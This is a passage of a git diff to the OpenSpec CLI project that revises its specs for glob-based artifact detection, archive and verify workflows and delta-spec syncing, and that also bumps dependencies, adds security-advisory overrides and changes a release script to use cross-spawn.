The system SHALL preserve literal filenames with a bare leading `!`, plain parentheses, or single-element braces when no supported glob syntax is present. Brace expansion SHALL preserve literal brace groups and recognize later and nested expansion groups. Expanded output paths and traversed symbolic links SHALL remain within the change directory.
|
||||
|
||||
#### Scenario: Simple file exists
|
||||
- **WHEN** an artifact generates "proposal.md" and the file exists
|
||||
- **THEN** the artifact is marked as completed
|
||||
@@ -73,6 +77,48 @@ The system SHALL detect artifact completion state by scanning the filesystem.
|
||||
- **WHEN** the change directory does not exist
|
||||
- **THEN** all artifacts are marked as not completed (empty state)
|
||||
|
||||
#### Scenario: Brace alternatives with matching files
|
||||
- **WHEN** an artifact generates "review-{api,ui}.md" and "review-api.md" exists
|
||||
- **THEN** the artifact is marked as completed
|
||||
|
||||
#### Scenario: Brace range after a literal brace group
|
||||
- **WHEN** an artifact generates "report-{draft}-{1..3}.md"
|
||||
- **AND** "report-{draft}-1.md", "report-{draft}-2.md", "report-{draft}-3.md", and "report-{draft}-4.md" exist
|
||||
- **THEN** its resolved outputs contain exactly the first three files
|
||||
- **AND** the artifact is marked as completed
|
||||
|
||||
#### Scenario: Later and nested brace alternatives
|
||||
- **WHEN** an artifact generates "report-{draft}-{{api},ui}.md" and "report-{draft}-{api}.md" exists
|
||||
- **THEN** the artifact is marked as completed
|
||||
|
||||
#### Scenario: Extglob alternatives with matching files
|
||||
- **WHEN** an artifact generates "@(proposal|design).md" or "+(proposal|design).md" and "proposal.md" exists
|
||||
- **THEN** the artifact is marked as completed
|
||||
|
||||
#### Scenario: Negative extglob excludes its alternatives
|
||||
- **WHEN** an artifact generates "!(proposal|design).md"
|
||||
- **AND** "proposal.md", "design.md", and "notes.md" exist
|
||||
- **THEN** its resolved outputs contain only "notes.md"
|
||||
- **AND** the artifact is marked as completed
|
||||
|
||||
#### Scenario: Brace or extglob pattern without matching files
|
||||
- **WHEN** an artifact generates "review-{api,ui}.md" or "@(proposal|design).md" and no matching files exist
|
||||
- **THEN** the artifact is not marked as completed
|
||||
|
||||
#### Scenario: Literal output names remain literal
|
||||
- **WHEN** an artifact generates "!review.md", "(proposal|design).md", or "review-{api}.md"
|
||||
- **THEN** completion depends on the existence of a file with that exact name
|
||||
|
||||
#### Scenario: Brace expansion escapes the change directory
|
||||
- **WHEN** an artifact generates "{safe,../outside}/review.md"
|
||||
- **THEN** output resolution rejects the expanded path outside the change directory before matching files
|
||||
- **AND** rejection does not depend on whether the outside file exists
|
||||
|
||||
#### Scenario: Expanded directory pattern reaches an outbound symbolic link
|
||||
- **WHEN** an artifact generates "content/{safe,linked}/review.md" or "content/@(safe|linked)/review.md"
|
||||
- **AND** "content/linked" is a symbolic link to a directory outside the change directory
|
||||
- **THEN** output resolution rejects traversal through that link even when no matching files exist
|
||||
|
||||
### Requirement: Ready Artifact Query
|
||||
The system SHALL identify which artifacts are ready to be created based on dependency completion.
|
||||
|
||||
@@ -137,4 +183,3 @@ The system SHALL support self-contained schema directories with co-located templ
|
||||
#### Scenario: List available schemas
|
||||
- **WHEN** listing schemas
|
||||
- **THEN** the system returns schema names from both user and package directories
|
||||
|
||||
|
||||
@@ -117,7 +117,7 @@ The update command SHALL refresh existing slash command files for configured too
|
||||
- **AND** skip creating missing files (the update command only refreshes what already exists)
|
||||
|
||||
#### Scenario: Updating slash commands for Kilo Code
|
||||
- **WHEN** `.kilocode/workflows/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md`
|
||||
- **WHEN** `.kilo/command/` contains OpenSpec-managed `opsx-*.md` command files for the configured profile
|
||||
- **THEN** refresh each file using shared templates wrapped in OpenSpec markers
|
||||
- **AND** ensure templates include instructions for the relevant workflow stage
|
||||
- **AND** skip creating missing files (the update command only refreshes what already exists)
|
||||
|
||||
@@ -32,6 +32,13 @@ The system SHALL detect legacy OpenSpec artifacts from previous init versions.
|
||||
- `.windsurf/workflows/openspec-*.md`
|
||||
- And equivalent directories for all tools in the legacy SlashCommandRegistry
|
||||
|
||||
#### Scenario: Detecting legacy Kilo Code workflows
|
||||
|
||||
- **WHEN** `.kilocode/workflows/` contains OpenSpec-managed `opsx-*.md` or `openspec-*.md` workflow files
|
||||
- **THEN** `openspec init` or legacy cleanup SHALL remove those files
|
||||
- **AND** Kilo Code commands SHALL be generated under `.kilo/command/`
|
||||
- **AND** `openspec update` SHALL NOT refresh files that remain only under `.kilocode/workflows/`
|
||||
|
||||
#### Scenario: Detecting legacy OpenSpec structure files
|
||||
|
||||
- **WHEN** running `openspec init` on an existing project
|
||||
@@ -160,4 +167,3 @@ The system SHALL report what was cleaned up.
|
||||
- **WHEN** no legacy artifacts are found
|
||||
- **THEN** the system SHALL NOT display the cleanup section
|
||||
- **AND** proceed directly with skill setup
|
||||
|
||||
|
||||
@@ -45,27 +45,37 @@ The skill SHALL check artifact completion status using the artifact graph before
|
||||
|
||||
### Requirement: Task Completion Check
|
||||
|
||||
The skill SHALL check task completion status from tasks.md before archiving.
|
||||
The skill SHALL check the selected change's task completion using `totalTasks` and `completedTasks` from `openspec list --json`, with the same selected-root flags used for the rest of the workflow. It SHALL match the change by name and use the CLI's schema-aware task resolution in both single and bulk archive workflows.
|
||||
|
||||
#### Scenario: Incomplete tasks found
|
||||
|
||||
- **WHEN** agent reads tasks.md
|
||||
- **AND** incomplete tasks are found (marked with `- [ ]`)
|
||||
- **WHEN** the selected change has `totalTasks` greater than `completedTasks`
|
||||
- **THEN** display warning showing count of incomplete tasks
|
||||
- **AND** prompt user for confirmation to continue
|
||||
- **AND** proceed if user confirms
|
||||
|
||||
#### Scenario: All tasks complete
|
||||
|
||||
- **WHEN** agent reads tasks.md
|
||||
- **AND** all tasks are complete (marked with `- [x]`)
|
||||
- **WHEN** the selected change has equal `totalTasks` and `completedTasks`
|
||||
- **THEN** proceed without task-related warning
|
||||
|
||||
#### Scenario: No tasks file
|
||||
#### Scenario: No tracked tasks
|
||||
|
||||
- **WHEN** tasks.md does not exist
|
||||
- **WHEN** the CLI reports `totalTasks` as zero for the selected change
|
||||
- **THEN** proceed without task-related warning
|
||||
|
||||
#### Scenario: Custom task artifact or output path
|
||||
|
||||
- **WHEN** the schema tracks tasks under a custom artifact name, output path, or glob
|
||||
- **THEN** use the CLI totals across the schema-resolved files
|
||||
- **AND** do not infer completion from artifact existence, an artifact id of `tasks`, or the absence of a top-level `tasks.md`
|
||||
|
||||
#### Scenario: Task progress lookup unavailable
|
||||
|
||||
- **WHEN** the list command fails, returns invalid JSON, omits or duplicates a selected change, or reports invalid task counts
|
||||
- **THEN** report the lookup problem and stop before syncing or archiving
|
||||
- **AND** do not treat the missing progress as zero tasks
|
||||
|
||||
### Requirement: Spec Sync Prompt
|
||||
|
||||
The skill SHALL prompt to sync delta specs before archiving if specs exist.
|
||||
@@ -82,6 +92,52 @@ The skill SHALL prompt to sync delta specs before archiving if specs exist.
|
||||
- **AND** stop without archiving if the sync fails or any capability does not verify
|
||||
- **AND** archive only after verification passes, or when the user explicitly chose to archive without syncing or to archive already-synced specs
|
||||
|
||||
#### Scenario: Applicable ADDED delta whose main spec does not exist yet
|
||||
|
||||
- **WHEN** agent compares a delta spec against its main spec at `openspec/specs/<capability-path>/spec.md`
|
||||
- **AND** that main spec does not exist yet
|
||||
- **AND** the delta has `## ADDED Requirements`
|
||||
- **AND** the delta has no `## MODIFIED Requirements` or `## RENAMED Requirements`
|
||||
- **THEN** count that capability as needing sync rather than as already synced
|
||||
- **AND** name it in the summary as a main spec the sync will create
|
||||
- **AND** never treat the missing main spec as nothing to apply
|
||||
- **AND** if the delta also has `## REMOVED Requirements`, warn that they will be ignored because there is no main spec to remove them from
|
||||
- **AND** create the main spec from only the delta's `## ADDED Requirements`
|
||||
|
||||
#### Scenario: Unsupported delta operation whose main spec does not exist yet
|
||||
|
||||
- **WHEN** a delta targets a capability whose main spec does not exist yet
|
||||
- **AND** the delta has `## MODIFIED Requirements` or `## RENAMED Requirements`
|
||||
- **THEN** report that only ADDED requirements can create a new main spec
|
||||
- **AND** mark the capability as sync-blocked without writing a main spec
|
||||
|
||||
#### Scenario: Explicitly retired capability whose main spec is missing
|
||||
|
||||
- **WHEN** a delta contains only `## REMOVED Requirements` and its main spec is missing
|
||||
- **AND** the change's `.openspec.yaml` declares `retire_capabilities: true`
|
||||
- **THEN** count that capability as already synced and report that it is already retired
|
||||
- **AND** warn that there is nothing left to remove and do not recreate the main spec
|
||||
- **AND** apply the same rule when verifying a completed sync, so retiring a capability does not block archiving
|
||||
|
||||
#### Scenario: Nothing to put in a missing main spec without a declared retirement
|
||||
|
||||
- **WHEN** a delta targets a capability whose main spec does not exist yet
|
||||
- **AND** the delta has no `## ADDED Requirements`
|
||||
- **AND** it is not a REMOVED-only delta with `retire_capabilities: true`
|
||||
- **THEN** report that no sync is possible
|
||||
- **AND** if the delta has only `## REMOVED Requirements`, warn that there is no main spec to remove them from and leave the main-spec tree unchanged
|
||||
- **AND** mark the capability as sync-blocked, since the verification pass would re-read the same missing spec
|
||||
|
||||
#### Scenario: Sync-blocked capability during archive assessment
|
||||
|
||||
- **WHEN** any capability is sync-blocked during the initial assessment
|
||||
- **THEN** assess the remaining capabilities and summarize the blockers before prompting
|
||||
- **AND** offer only "Archive without syncing" and "Cancel"
|
||||
- **AND** archive without writing main specs only if the user explicitly chooses "Archive without syncing"
|
||||
- **AND** stop without archiving if the user cancels
|
||||
- **AND** do not start any sync while a capability is blocked, even if other capabilities could sync
|
||||
- **AND** a failed sync or post-sync verification still stops without archiving; do not silently fall back to skipping sync
|
||||
|
||||
#### Scenario: No delta specs
|
||||
|
||||
- **WHEN** agent checks for delta specs
|
||||
|
||||
@@ -15,34 +15,51 @@ The system SHALL provide an `/opsx:verify` skill that validates implementation a
|
||||
#### Scenario: Verify without change name
|
||||
- **WHEN** agent executes `/opsx:verify` without a change name
|
||||
- **THEN** the agent infers the change from conversation context, or auto-selects it when only one active change exists
|
||||
- **AND** when ambiguous, prompts user to select from available changes, showing only changes that have implementation tasks
|
||||
- **AND** when ambiguous, prompts user to select from all active changes, including changes with no tracked tasks
|
||||
- **AND** announces which change was selected and how to override
|
||||
|
||||
#### Scenario: Change has no tasks
|
||||
- **WHEN** selected change has no tasks.md or tasks are empty
|
||||
- **THEN** the agent reports "No tasks to verify"
|
||||
- **AND** suggests running `/opsx:continue` to create tasks
|
||||
#### Scenario: Change has no task descriptions
|
||||
- **WHEN** the schema configures task tracking but the structured task list provides no usable task descriptions, even if task progress reports nonzero totals
|
||||
- **THEN** the agent reports Task Completion as not verified with the reason
|
||||
- **AND** continues checks supported by the remaining artifacts
|
||||
|
||||
#### Scenario: Schema has no task tracking
|
||||
- **WHEN** the schema does not configure `apply.tracks`
|
||||
- **THEN** apply instructions report `taskTrackingConfigured: false`
|
||||
- **AND** the agent reports Task Completion as not applicable, not as skipped or failed
|
||||
- **AND** continues the checks that apply to the schema
|
||||
|
||||
### Requirement: Completeness Verification
|
||||
The agent SHALL verify that all required work has been completed.
|
||||
|
||||
#### Scenario: Task completion check
|
||||
- **WHEN** verifying completeness
|
||||
- **THEN** the agent reads tasks.md
|
||||
- **AND** counts tasks marked `- [x]` (complete) vs `- [ ]` (incomplete)
|
||||
- **THEN** the agent uses the top-level `tasks` and `progress` from apply instructions
|
||||
- **AND** apply instructions aggregate every concrete file matched by the active schema's `apply.tracks`, regardless of the tracked artifact's ID
|
||||
- **AND** reports complete and total task counts from `progress`
|
||||
- **AND** reports completion status with specific incomplete tasks listed
|
||||
- **AND** reports remaining checkboxes without descriptions when `progress.remaining` exceeds the listed incomplete tasks
|
||||
|
||||
#### Scenario: Tracking evidence becomes unavailable
|
||||
- **WHEN** one or more files matched by `apply.tracks` cannot be read after resolution
|
||||
- **THEN** apply instructions include every unavailable path and reason
|
||||
- **AND** preserve tasks and progress from readable tracking files
|
||||
- **AND** do not report `all_done`
|
||||
- **AND** the agent marks Task Completion as not verified from partial evidence
|
||||
|
||||
#### Scenario: Spec coverage check
|
||||
- **WHEN** verifying completeness
|
||||
- **AND** delta specs exist in `openspec/changes/<name>/specs/`
|
||||
- **THEN** the agent extracts all requirements from delta specs
|
||||
- **AND** searches codebase for implementation of each requirement
|
||||
- **AND** reports which requirements appear to have implementation vs which are missing
|
||||
- **THEN** the agent extracts all requirements from delta specs, noting the delta section each one sits under
|
||||
- **AND** searches codebase for implementation of each ADDED or MODIFIED requirement
|
||||
- **AND** reports which ADDED or MODIFIED requirements appear to have implementation vs which are missing
|
||||
- **AND** checks REMOVED and RENAMED requirements as described in the Removed requirement and Renamed requirement scenarios
|
||||
|
||||
#### Scenario: All tasks complete
|
||||
- **WHEN** all tasks are marked complete
|
||||
- **THEN** report "Tasks: N/N complete"
|
||||
- **AND** mark completeness dimension as passed
|
||||
- **AND** mark Task Completion as passed only when task descriptions are available
|
||||
- **AND** mark the completeness dimension as passed only when all applicable checks ran and passed
|
||||
|
||||
#### Scenario: Incomplete tasks found
|
||||
- **WHEN** some tasks are incomplete
|
||||
@@ -56,14 +73,14 @@ The agent SHALL verify that implementation matches the specifications.
|
||||
|
||||
#### Scenario: Requirement implementation mapping
|
||||
- **WHEN** verifying correctness
|
||||
- **THEN** for each requirement in delta specs:
|
||||
- **THEN** for each ADDED or MODIFIED requirement in delta specs:
|
||||
- Search codebase for implementation
|
||||
- Identify relevant files and line numbers
|
||||
- Assess whether implementation satisfies the requirement
|
||||
|
||||
#### Scenario: Scenario coverage check
|
||||
- **WHEN** verifying correctness
|
||||
- **THEN** for each scenario in delta specs:
|
||||
- **THEN** for each scenario under an ADDED or MODIFIED requirement in delta specs:
|
||||
- Check if the scenario's conditions are handled in code
|
||||
- Check if tests exist that cover the scenario
|
||||
- Report coverage status
|
||||
@@ -80,10 +97,33 @@ The agent SHALL verify that implementation matches the specifications.
|
||||
- **AND** suggest: either update implementation or update spec to match reality
|
||||
|
||||
#### Scenario: Missing implementation
|
||||
- **WHEN** no implementation found for a requirement
|
||||
- **WHEN** no implementation found for an ADDED or MODIFIED requirement
|
||||
- **THEN** report as CRITICAL issue
|
||||
- **AND** suggest: "Implement requirement X" with guidance on what's needed
|
||||
|
||||
#### Scenario: Removed requirement
|
||||
- **WHEN** a requirement sits under `## REMOVED Requirements` in a delta spec
|
||||
- **THEN** the agent treats the absence of its implementation as the expected result
|
||||
- **AND** does not report it as missing or suggest implementing it
|
||||
- **AND** reports it as CRITICAL only if the removed behavior is still present in the codebase
|
||||
- **AND** skips scenario coverage for it
|
||||
- **AND** does not treat matches in OpenSpec artifacts or docs, or in code that serves only the Migration note or an ADDED requirement, as evidence by themselves
|
||||
- **AND** still reports a code path that delivers the removed behavior, even when it is shared with an ADDED requirement
|
||||
|
||||
#### Scenario: Renamed requirement
|
||||
- **WHEN** a requirement is listed under `## RENAMED Requirements` in a delta spec
|
||||
- **THEN** the agent does not report its FROM name as missing
|
||||
- **AND** does not require code symbols or file names to be renamed
|
||||
- **AND** unless the TO name also appears under MODIFIED, verifies that the behavior of the baseline requirement (its body and scenarios in the main spec, under the FROM name, or under the TO name only when the main spec is already synced) is still implemented
|
||||
- **AND** reports CRITICAL "Renamed requirement not found" when that behavior is missing
|
||||
- **AND** marks spec coverage as not verified for the entry when the baseline requirement cannot be found or read
|
||||
|
||||
#### Scenario: Change that only removes or renames requirements
|
||||
- **WHEN** the delta specs are readable and contain at least one REMOVED or RENAMED requirement but no ADDED or MODIFIED requirements
|
||||
- **THEN** the agent reports requirement implementation mapping and scenario coverage as not applicable
|
||||
- **AND** does not mark them as not verified or withhold readiness because of them
|
||||
- **AND** a delta spec with no parseable requirements still marks them as not verified
|
||||
|
||||
### Requirement: Coherence Verification
|
||||
The agent SHALL verify that implementation is sensible and follows design decisions.
|
||||
|
||||
@@ -98,7 +138,7 @@ The agent SHALL verify that implementation is sensible and follows design decisi
|
||||
- **WHEN** verifying coherence
|
||||
- **AND** no design.md exists
|
||||
- **THEN** skip design adherence check
|
||||
- **AND** note "No design.md to verify against"
|
||||
- **AND** report "Design Adherence: Not verified (No design.md to verify against)"
|
||||
|
||||
#### Scenario: Design decision followed
|
||||
- **WHEN** implementation follows a design decision
|
||||
@@ -113,8 +153,10 @@ The agent SHALL verify that implementation is sensible and follows design decisi
|
||||
|
||||
#### Scenario: Code pattern consistency
|
||||
- **WHEN** verifying coherence
|
||||
- **AND** available artifacts support identifying implementation changes beyond a tasks-only check
|
||||
- **THEN** check if new code follows existing project patterns
|
||||
- **AND** flag any significant deviations as suggestions
|
||||
- **AND** report Code Pattern Consistency as not verified if implementation changes cannot be identified
|
||||
|
||||
### Requirement: Verification Report Format
|
||||
The agent SHALL produce a structured, prioritized report.
|
||||
@@ -132,6 +174,8 @@ The agent SHALL produce a structured, prioritized report.
|
||||
| Correctness | X/Y |
|
||||
| Coherence | Followed |
|
||||
```
|
||||
- **AND** report `Not verified (<reason>)` for every skipped or partially verified check in its dimension's status
|
||||
- **AND** never count a skipped check as passing
|
||||
|
||||
#### Scenario: Issue prioritization
|
||||
- **WHEN** issues are found
|
||||
@@ -147,7 +191,7 @@ The agent SHALL produce a structured, prioritized report.
|
||||
- **AND** avoid vague suggestions like "consider reviewing"
|
||||
|
||||
#### Scenario: All checks pass
|
||||
- **WHEN** no issues found across all dimensions
|
||||
- **WHEN** every applicable check ran and no issues were found across all dimensions
|
||||
- **THEN** display:
|
||||
```text
|
||||
All checks passed. Ready for archive.
|
||||
@@ -160,15 +204,31 @@ The agent SHALL produce a structured, prioritized report.
|
||||
X critical issue(s) found. Fix before archiving.
|
||||
```
|
||||
- **AND** do NOT suggest running archive
|
||||
- **AND** name every skipped check and its reason, if any
|
||||
|
||||
#### Scenario: Only warnings/suggestions
|
||||
- **WHEN** no CRITICAL issues but warnings exist
|
||||
#### Scenario: Only warnings
|
||||
- **WHEN** every applicable check ran and no CRITICAL issues but warnings exist
|
||||
- **THEN** display:
|
||||
```text
|
||||
No critical issues. Y warning(s) to consider.
|
||||
Ready for archive (with noted improvements).
|
||||
```
|
||||
|
||||
#### Scenario: Only suggestions
|
||||
- **WHEN** every applicable check ran and only suggestions exist
|
||||
- **THEN** report "No critical issues or warnings. Z suggestion(s) to consider. Ready for archive (with noted improvements)."
|
||||
|
||||
#### Scenario: Checks skipped
|
||||
- **WHEN** any check was skipped or partially verified and no CRITICAL issues exist
|
||||
- **THEN** report "No critical issues found in the checks that ran"
|
||||
- **AND** name every unverified check and its reason
|
||||
- **AND** include the warning count when nonzero
|
||||
- **AND** do not claim archive readiness
|
||||
|
||||
#### Scenario: Suggestions in final assessment
|
||||
- **WHEN** suggestions exist
|
||||
- **THEN** include their count in the final assessment, including assessments with critical issues or skipped checks
|
||||
|
||||
### Requirement: Flexible Artifact Handling
|
||||
The agent SHALL gracefully handle changes with varying artifact completeness.
|
||||
|
||||
@@ -188,3 +248,16 @@ The agent SHALL gracefully handle changes with varying artifact completeness.
|
||||
- **WHEN** change has proposal, design, specs, and tasks
|
||||
- **THEN** perform all verification checks
|
||||
- **AND** cross-reference artifacts for consistency
|
||||
|
||||
#### Scenario: Unusable or partial artifact evidence
|
||||
- **WHEN** an artifact cannot be read or lacks usable requirements, scenarios, or design decisions
|
||||
- **THEN** mark each affected check as not verified with its reason
|
||||
- **AND** continue checks supported by the remaining evidence without treating partial coverage as a fully verified check
|
||||
|
||||
#### Scenario: Intentional artifact omissions
|
||||
- **WHEN** a check has no supporting artifacts because the schema omits task tracking or optional artifacts, or the change declares `skip_specs: true`
|
||||
- **THEN** report the corresponding checks as not applicable and explain why
|
||||
- **AND** exclude not-applicable checks from skipped-check counts and readiness assessment
|
||||
- **AND** do not require or create optional or intentionally skipped artifacts to obtain a passing report
|
||||
- **AND** treat verification as advisory: not verified describes missing evidence for an applicable check, not a new archive gate
|
||||
- **AND** leave archive checks and user-confirmation behavior unchanged
|
||||
|
||||
@@ -71,10 +71,27 @@ The agent SHALL reconcile main specs with delta specs using the delta operation
|
||||
|
||||
#### Scenario: New capability spec
|
||||
- **WHEN** delta spec exists for a capability not in main specs
|
||||
- **AND** it has ADDED requirements and no MODIFIED or RENAMED requirements
|
||||
- **THEN** create new main spec file at `openspec/specs/<capability-path>/spec.md`, preserving the delta's path relative to `specs/`
|
||||
- **AND** copy the delta's `## Purpose` body into it when the delta has one, matching what `openspec archive` does
|
||||
- **AND** write a brief TBD placeholder Purpose only when the delta has none
|
||||
|
||||
#### Scenario: MODIFIED or RENAMED against a capability with no main spec
|
||||
- **WHEN** delta contains `## MODIFIED Requirements` or `## RENAMED Requirements`
|
||||
- **AND** the capability has no main spec yet
|
||||
- **THEN** stop the sync for that capability and report that only ADDED requirements are allowed for a new spec, matching what `openspec archive` does
|
||||
- **AND** never invent the missing requirement
|
||||
- **AND** skip any `## REMOVED Requirements` with a warning, since there is nothing to remove
|
||||
|
||||
#### Scenario: Nothing to put in a new spec
|
||||
- **WHEN** a delta targets a capability with no main spec
|
||||
- **AND** the delta has no `## ADDED Requirements` to seed it with
|
||||
- **THEN** create no main spec and leave the specs directory untouched
|
||||
- **AND** for a REMOVED-only delta with `retire_capabilities: true` in the change's `.openspec.yaml`, report the capability as already retired and continue without recreating it
|
||||
- **AND** without that marker, report a REMOVED-only sync as blocked, matching `openspec archive`, which aborts with `Spec must have at least one requirement`
|
||||
- **AND** report an empty delta as blocked because it has no operations to sync
|
||||
- **AND** never write an empty `## Requirements` section
|
||||
|
||||
#### Scenario: Merged main spec keeps canonical structure
|
||||
- **WHEN** the agent writes a main spec during sync
|
||||
- **THEN** every requirement lives under a single `## Requirements` section
|
||||
|
||||
+5
-10
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "@fission-ai/openspec",
|
||||
"version": "1.13.0",
|
||||
"version": "1.13.2",
|
||||
"description": "AI-native system for spec-driven development",
|
||||
"keywords": [
|
||||
"openspec",
|
||||
@@ -63,28 +63,23 @@
|
||||
"@changesets/changelog-github": "^1.0.0",
|
||||
"@changesets/cli": "^3.0.1",
|
||||
"@types/node": "^20.19.43",
|
||||
"@vitest/ui": "^3.2.6",
|
||||
"@vitest/ui": "^4.1.11",
|
||||
"eslint": "^10.5.0",
|
||||
"smol-toml": "^1.7.1",
|
||||
"typescript": "^6.0.3",
|
||||
"typescript-eslint": "^8.65.0",
|
||||
"vitest": "^3.2.6"
|
||||
"vitest": "^4.1.11"
|
||||
},
|
||||
"dependencies": {
|
||||
"@inquirer/core": "^11.2.1",
|
||||
"@inquirer/core": "^12.0.0",
|
||||
"@inquirer/prompts": "^8.5.2",
|
||||
"chalk": "^5.6.2",
|
||||
"commander": "^14.0.0",
|
||||
"diff": "^9.0.0",
|
||||
"cross-spawn": "7.0.6",
|
||||
"diff": "^9.0.0",
|
||||
"fast-glob": "^3.3.3",
|
||||
"ora": "^9.4.1",
|
||||
"yaml": "^2.8.3",
|
||||
"zod": "^4.4.3"
|
||||
},
|
||||
"pnpm": {
|
||||
"onlyBuiltDependencies": [
|
||||
"esbuild"
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
Generated
+660
-639
File diff suppressed because it is too large
Load Diff
+5
-1
@@ -2,7 +2,7 @@ packages:
|
||||
- '.'
|
||||
|
||||
allowBuilds:
|
||||
esbuild@0.28.1: true
|
||||
esbuild@0.28.2: true
|
||||
|
||||
# The only declaration of these. A `pnpm.overrides` block in package.json does not
|
||||
# merge with this list — pnpm 10 uses it *instead of* this file (verified: a lone
|
||||
@@ -22,3 +22,7 @@ overrides:
|
||||
# (transitive via postcss). Remove once transitive nanoid is >=3.3.17
|
||||
# (check: pnpm why nanoid).
|
||||
nanoid@<3.3.17: '>=3.3.17 <4'
|
||||
# GHSA-px8p-9vwx-vf98 — fflate `unzipSync` infinite loop on malformed ZIP64.
|
||||
# Dev-only (transitive via @vitest/ui); never in the published CLI. Remove once
|
||||
# transitive fflate is >=0.8.3 (check: pnpm why fflate).
|
||||
fflate@<0.8.3: '>=0.8.3 <0.9'
|
||||
|
||||
@@ -95,7 +95,7 @@ artifacts:
|
||||
- **CRITICAL**: Scenarios MUST use exactly 4 hashtags (`####`). Using 3 hashtags or bullets will fail silently.
|
||||
- Every requirement MUST have at least one scenario.
|
||||
|
||||
New capabilities only: start the delta spec with a `## Purpose` section -
|
||||
New capabilities only: the delta spec's first section is `## Purpose` -
|
||||
one or two sentences (50+ characters, or `openspec validate --strict`
|
||||
reports it as too brief) describing what the capability is for. Archive
|
||||
copies it into the main spec it creates; without it the new main spec is
|
||||
@@ -120,8 +120,10 @@ artifacts:
|
||||
Common pitfall: Using MODIFIED with partial content loses detail at archive time.
|
||||
If adding new concerns without changing existing behavior, use ADDED instead.
|
||||
|
||||
Example (a new capability, so it opens with `## Purpose`):
|
||||
Example (a new capability, so its first section is `## Purpose`):
|
||||
```
|
||||
# Spec Delta
|
||||
|
||||
## Purpose
|
||||
|
||||
Lets users take their data out of the product in a portable format.
|
||||
@@ -193,7 +195,10 @@ artifacts:
|
||||
bake an unstated assumption into the task list.
|
||||
|
||||
**IMPORTANT: Follow the template below exactly.** The apply phase parses
|
||||
checkbox format to track progress. Tasks not using `- [ ]` won't be tracked.
|
||||
checkbox format to track progress. A box holding only `x` counts as done,
|
||||
upper or lower case and with any spacing, so `- [ x]` is done too. Every
|
||||
other marker, including `- [~]`, `- [-]` and an empty `- []`, reads as
|
||||
unfinished. A line with no checkbox is not tracked at all.
|
||||
|
||||
Guidelines:
|
||||
- Group related tasks under ## numbered headings
|
||||
@@ -205,9 +210,18 @@ artifacts:
|
||||
that task's checkbox description. Use a separate verification task only
|
||||
when it checks broader integration or system behavior that spans
|
||||
multiple implementation tasks.
|
||||
- Each task group MUST land the tests and documentation its own work
|
||||
calls for. Do NOT collect testing or documentation into a final group -
|
||||
when a late group first exercises work from an early one, the failures
|
||||
cascade back through every group in between and force rework. A group
|
||||
whose work calls for neither, such as scaffolding or dependency setup,
|
||||
carries neither. A final group is for integration checks only, not for
|
||||
the tests and docs an earlier group owed.
|
||||
|
||||
Example:
|
||||
```
|
||||
# Tasks
|
||||
|
||||
## 1. Setup
|
||||
|
||||
- [ ] 1.1 Create new module structure and verify expected files are present
|
||||
@@ -217,6 +231,7 @@ artifacts:
|
||||
|
||||
- [ ] 2.1 Implement data export function and verify the export test passes
|
||||
- [ ] 2.2 Add CSV formatting utilities and verify unit tests cover quoting and delimiters
|
||||
- [ ] 2.3 Document the export API in docs/export.md and verify the documented command runs as written
|
||||
```
|
||||
|
||||
Reference specs for what needs to be built, design for how to build it.
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# Design
|
||||
|
||||
## Context
|
||||
|
||||
<!-- Current state and constraints that shape the approach. See proposal.md for motivation - don't restate it -->
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# Proposal
|
||||
|
||||
## Why
|
||||
|
||||
<!-- Explain the motivation for this change. What problem does this solve? Why now? -->
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# Spec Delta
|
||||
|
||||
## Purpose
|
||||
<!-- New capabilities only: one or two sentences (50+ characters) on what this capability is for. Delete this section for an existing capability. -->
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# Tasks
|
||||
|
||||
## 1. <!-- Task Group Name -->
|
||||
|
||||
- [ ] 1.1 <!-- Task description -->
|
||||
|
||||
@@ -10,18 +10,34 @@
|
||||
// `changeset publish` triggers `prepublishOnly` (also builds here). This
|
||||
// means an explicit build is not strictly necessary for the guard.
|
||||
|
||||
import { execFileSync } from 'child_process';
|
||||
import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'fs';
|
||||
import { tmpdir } from 'os';
|
||||
import path from 'path';
|
||||
import spawn from 'cross-spawn';
|
||||
|
||||
function log(msg) {
|
||||
if (process.env.CI) return; // keep CI logs quiet by default
|
||||
console.log(msg);
|
||||
}
|
||||
|
||||
// cross-spawn, not execFileSync: on Windows `npm` is npm.cmd, which execFile
|
||||
// cannot resolve without a shell. Keeps the argv form, so no shell is involved.
|
||||
function run(cmd, args, opts = {}) {
|
||||
return execFileSync(cmd, args, { encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'], ...opts });
|
||||
const result = spawn.sync(cmd, args, {
|
||||
encoding: 'utf-8',
|
||||
stdio: ['ignore', 'pipe', 'pipe'],
|
||||
...opts,
|
||||
});
|
||||
|
||||
if (result.error) throw result.error;
|
||||
if (result.status !== 0) {
|
||||
const stderr = (result.stderr || '').trim();
|
||||
throw new Error(
|
||||
`${cmd} ${args.join(' ')} exited with ${result.status}${stderr ? `: ${stderr}` : ''}`
|
||||
);
|
||||
}
|
||||
|
||||
return result.stdout;
|
||||
}
|
||||
|
||||
function npmPack() {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-apply-change
|
||||
description: Implement tasks from an OpenSpec change. Use when the user wants to start implementing, continue implementation, or work through tasks.
|
||||
description: Implement tasks from an OpenSpec change. Use when the user wants to start implementing, continue implementation, or work through tasks. Also use when the user says "openspec apply", "opsx apply", or "openspec implement".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Implement tasks from an OpenSpec change.
|
||||
|
||||
